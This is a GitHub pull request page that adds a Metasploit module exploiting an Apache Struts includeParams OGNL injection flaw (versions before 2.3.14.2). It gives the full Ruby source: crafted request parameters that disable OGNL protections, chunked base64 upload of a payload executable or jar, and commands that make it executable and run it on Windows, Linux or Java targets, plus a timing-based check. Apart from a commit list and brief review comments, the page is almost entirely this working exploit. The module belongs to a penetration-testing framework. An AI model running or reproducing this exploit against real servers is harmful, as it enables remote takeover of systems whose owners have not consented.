-
Notifications
You must be signed in to change notification settings - Fork 13.7k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Struts <= 2.3.14.1 remote code execution #1870
Merged
Merged
Changes from all commits
Commits
Show all changes
13 commits
Select commit
Hold shift + click to select a range
7b43117
Added RCE for Struts versions earlier than 2.3.14.2
Console b39531c
Added references
Console ec315ad
Modified URI handling to make use of target_uri and vars_get/post.
Console 7c38324
Considered using the bourne stager.
Console d70526f
Renamed as per suggestion
Console ab6a2a0
Fix issue with JAVA meterpreter failing to work.
Console fb388c6
Chunk length is now "huge" for POST method
Console 5233ac4
Progress bar instead of message spam.
Console abb0ab1
Fix msftidy compliance
Console 51879ab
removed unnecessary lines
Console 47524a0
converted request params to hash merge operation
Console 5fa8ecd
removed magic number 109
Console eb4162d
boolean issue fix
Console File filter
Filter by extension
Conversations
Failed to load comments.
Jump to
Jump to file
Failed to load files.
Diff view
Diff view
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,194 @@ | ||
## | ||
# This file is part of the Metasploit Framework and may be subject to | ||
# redistribution and commercial restrictions. Please see the Metasploit | ||
# web site for more information on licensing and terms of use. | ||
# http://metasploit.com/ | ||
## | ||
|
||
require 'msf/core' | ||
|
||
class Metasploit3 < Msf::Exploit::Remote | ||
Rank = ExcellentRanking | ||
|
||
include Msf::Exploit::Remote::HttpClient | ||
include Msf::Exploit::EXE | ||
include Msf::Exploit::FileDropper | ||
|
||
def initialize(info = {}) | ||
super(update_info(info, | ||
'Name' => 'Apache Struts includeParams Remote Code Execution', | ||
'Description' => %q{ | ||
This module exploits a remote command execution vulnerability in Apache Struts | ||
versions < 2.3.14.2. A specifically crafted request parameter can be used to inject | ||
arbitrary OGNL code into the stack bypassing Struts and OGNL library protections. | ||
}, | ||
'Author' => | ||
[ | ||
'Eric Kobrin', # Vulnerability Discovery | ||
'Douglas Rodrigues', # Vulnerability Discovery | ||
'Coverity security Research Laboratory', # Vulnerability Discovery | ||
'NSFOCUS Security Team', # Vulnerability Discovery | ||
'Richard Hicks <scriptmonkey.blog[at]gmail.com>', # Metasploit Module | ||
], | ||
'License' => MSF_LICENSE, | ||
'References' => | ||
[ | ||
[ 'CVE', '2013-2115'], | ||
[ 'CVE', '2013-1966'], | ||
[ 'OSVDB', '93645'], | ||
[ 'URL', 'https://cwiki.apache.org/confluence/display/WW/S2-014'], | ||
[ 'URL', 'http://struts.apache.org/development/2.x/docs/s2-013.html'] | ||
], | ||
'Platform' => [ 'win', 'linux', 'java'], | ||
'Privileged' => true, | ||
'Targets' => | ||
[ | ||
['Windows Universal', | ||
{ | ||
'Arch' => ARCH_X86, | ||
'Platform' => 'windows' | ||
} | ||
], | ||
['Linux Universal', | ||
{ | ||
'Arch' => ARCH_X86, | ||
'Platform' => 'linux' | ||
} | ||
], | ||
[ 'Java Universal', | ||
{ | ||
'Arch' => ARCH_JAVA, | ||
'Platform' => 'java' | ||
}, | ||
] | ||
], | ||
'DisclosureDate' => 'May 24 2013', | ||
'DefaultTarget' => 2)) | ||
|
||
register_options( | ||
[ | ||
Opt::RPORT(8080), | ||
OptString.new('PARAMETER',[ true, 'The parameter to use for the exploit (does not have to be an expected one).',rand_text_alpha_lower(4)]), | ||
OptString.new('TARGETURI', [ true, 'The path to a vulnerable struts application action', "/struts2-blank3/example/HelloWorld.action"]), | ||
OptEnum.new('HTTPMETHOD', [ true, 'Which HTTP Method to use, GET or POST','GET', ['GET','POST']]), | ||
OptInt.new('CHECK_SLEEPTIME', [ true, 'The time, in seconds, to ask the server to sleep while check', 5]) | ||
], self.class) | ||
|
||
#initialise some base vars | ||
@inject = "${#_memberAccess[\"allowStaticMethodAccess\"]=true,CMD}" | ||
@java_upload_part_cmd = "#f=new java.io.FileOutputStream('FILENAME',APPEND),#f.write(new sun.misc.BASE64Decoder().decodeBuffer('BUFFER')), #f.close()" | ||
end | ||
|
||
def execute_command(cmd, opts = {}) | ||
inject_string = @inject.gsub(/CMD/,cmd) | ||
uri = normalize_uri(target_uri.path) | ||
req_hash = {'uri' => uri, 'version' => '1.1', 'method' => datastore['HTTPMETHOD'] } | ||
case datastore['HTTPMETHOD'] | ||
when 'POST' | ||
req_hash.merge!({ 'vars_post' => { datastore['PARAMETER'] => inject_string }}) | ||
when 'GET' | ||
req_hash.merge!({ 'vars_get' => { datastore['PARAMETER'] => inject_string }}) | ||
end | ||
|
||
# Display a nice "progress bar" instead of message spam | ||
case @notify_flag | ||
when 0 | ||
print_status("Performing HTTP #{datastore['HTTPMETHOD']} requests to upload payload") | ||
@notify_flag = 1 | ||
when 1 | ||
print(".") # Progress dots | ||
when 2 | ||
print_status("Payload upload complete") | ||
end | ||
|
||
return send_request_cgi(req_hash) #Used for check function. | ||
end | ||
|
||
def exploit | ||
#Set up generic values. | ||
@payload_exe = rand_text_alphanumeric(4+rand(4)) | ||
pl_exe = generate_payload_exe | ||
append = false | ||
#Now arch specific... | ||
case target['Platform'] | ||
when 'linux' | ||
@payload_exe = "/tmp/#{@payload_exe}" | ||
chmod_cmd = "@java.lang.Runtime@getRuntime().exec(\"/bin/sh_-c_chmod +x #{@payload_exe}\".split(\"_\"))" | ||
exec_cmd = "@java.lang.Runtime@getRuntime().exec(\"/bin/sh_-c_#{@payload_exe}\".split(\"_\"))" | ||
when 'java' | ||
@payload_exe << ".jar" | ||
pl_exe = payload.encoded_jar.pack | ||
exec_cmd = "" | ||
exec_cmd << "#q=@java.lang.Class@forName('ognl.OgnlRuntime').getDeclaredField('_jdkChecked')," | ||
exec_cmd << "#q.setAccessible(true),#q.set(null,true)," | ||
exec_cmd << "#q=@java.lang.Class@forName('ognl.OgnlRuntime').getDeclaredField('_jdk15')," | ||
exec_cmd << "#q.setAccessible(true),#q.set(null,false)," | ||
exec_cmd << "#cl=new java.net.URLClassLoader(new java.net.URL[]{new java.io.File('#{@payload_exe}').toURI().toURL()})," | ||
exec_cmd << "#c=#cl.loadClass('metasploit.Payload')," | ||
exec_cmd << "#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.String;')}).invoke(" | ||
exec_cmd << "null,new java.lang.Object[]{new java.lang.String[0]})" | ||
when 'windows' | ||
@payload_exe = "./#{@payload_exe}.exe" | ||
exec_cmd = "@java.lang.Runtime@getRuntime().exec('#{@payload_exe}')" | ||
else | ||
fail_with(Exploit::Failure::NoTarget, 'Unsupported target platform!') | ||
end | ||
|
||
print_status("Preparing payload...") | ||
# Now with all the arch specific stuff set, perform the upload. | ||
# Need to calculate amount to allocate for non-dynamic parts of the URL. | ||
# Fixed strings are tokens used for substitutions. | ||
append_length = append ? "true".length : "false".length # Gets around the boolean/string issue | ||
sub_from_chunk = append_length + ( @java_upload_part_cmd.length - "FILENAME".length - "APPEND".length - "BUFFER".length ) | ||
sub_from_chunk += ( @inject.length - "CMD".length ) + @payload_exe.length + normalize_uri(target_uri.path).length + datastore['PARAMETER'].length | ||
case datastore['HTTPMETHOD'] | ||
when 'GET' | ||
chunk_length = 2048 - sub_from_chunk # Using the max request length of 2048 for IIS, subtract all the "static" URL items. | ||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. This could be renamed as space_available or something to make the logic clearer |
||
#This lets us know the length remaining for our base64'd payloads | ||
chunk_length = ((chunk_length/4).floor)*3 | ||
when 'POST' | ||
chunk_length = 65535 # Just set this to an arbitrarily large value, as its a post request we don't care about the size of the URL anymore. | ||
end | ||
@notify_flag = 0 | ||
while pl_exe.length > chunk_length | ||
java_upload_part(pl_exe[0,chunk_length],@payload_exe,append) | ||
pl_exe = pl_exe[chunk_length,pl_exe.length - chunk_length] | ||
append = true | ||
end | ||
java_upload_part(pl_exe,@payload_exe,append) | ||
execute_command(chmod_cmd) if target['Platform'] == 'linux' | ||
print_line() # new line character, after progress bar. | ||
@notify_flag = 2 # upload is complete, next command we're going to execute the uploaded file. | ||
execute_command(exec_cmd) | ||
register_files_for_cleanup(@payload_exe) | ||
end | ||
|
||
def java_upload_part(part, filename, append = false) | ||
cmd = @java_upload_part_cmd.gsub(/FILENAME/,filename) | ||
append = append ? "true" : "false" # converted for the string replacement. | ||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. append.to_s.downcase |
||
cmd = cmd.gsub!(/APPEND/,append) | ||
cmd = cmd.gsub!(/BUFFER/,Rex::Text.encode_base64(part)) | ||
execute_command(cmd) | ||
end | ||
|
||
def check | ||
print_status("Performing Check...") | ||
sleep_time = datastore['CHECK_SLEEPTIME'] | ||
check_cmd = "@java.lang.Thread@sleep(#{sleep_time * 1000})" | ||
t1 = Time.now | ||
print_status("Asking remote server to sleep for #{sleep_time} seconds") | ||
response = execute_command(check_cmd) | ||
t2 = Time.now | ||
delta = t2 - t1 | ||
|
||
|
||
if response.nil? | ||
return Exploit::CheckCode::Safe | ||
elsif delta < sleep_time | ||
return Exploit::CheckCode::Safe | ||
else | ||
return Exploit::CheckCode::Appears | ||
end | ||
end | ||
|
||
end |
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
append.to_s.length